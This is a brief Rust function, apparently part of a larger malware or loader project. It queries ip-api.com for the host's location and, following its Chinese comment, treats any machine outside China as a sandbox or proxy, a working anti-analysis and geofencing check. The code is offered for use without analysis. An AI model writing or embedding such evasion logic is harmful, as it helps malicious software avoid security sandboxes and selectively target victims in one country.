()
| 1 | // IP检测:通过ip-api.com获取IP归属地,若非中国则判定为沙箱或代理环境 |
| 2 | #[cfg(feature = "vm_check_ip")] |
| 3 | pub fn check_ip() -> bool { |
| 4 | let url = "http://ip-api.com/csv"; |
| 5 | match crate::utils::http_get(url) { |
| 6 | Ok((status_code, body)) => { |
| 7 | if status_code == 200 { |
| 8 | let body_str = String::from_utf8_lossy(&body); |
| 9 | if body_str.contains("China") { |
| 10 | return true; |
| 11 | } else { |
| 12 | return false; |
| 13 | } |
| 14 | } else { |
| 15 | return false; |
| 16 | } |
| 17 | } |
| 18 | Err(_) => false, |
| 19 | } |
| 20 | } |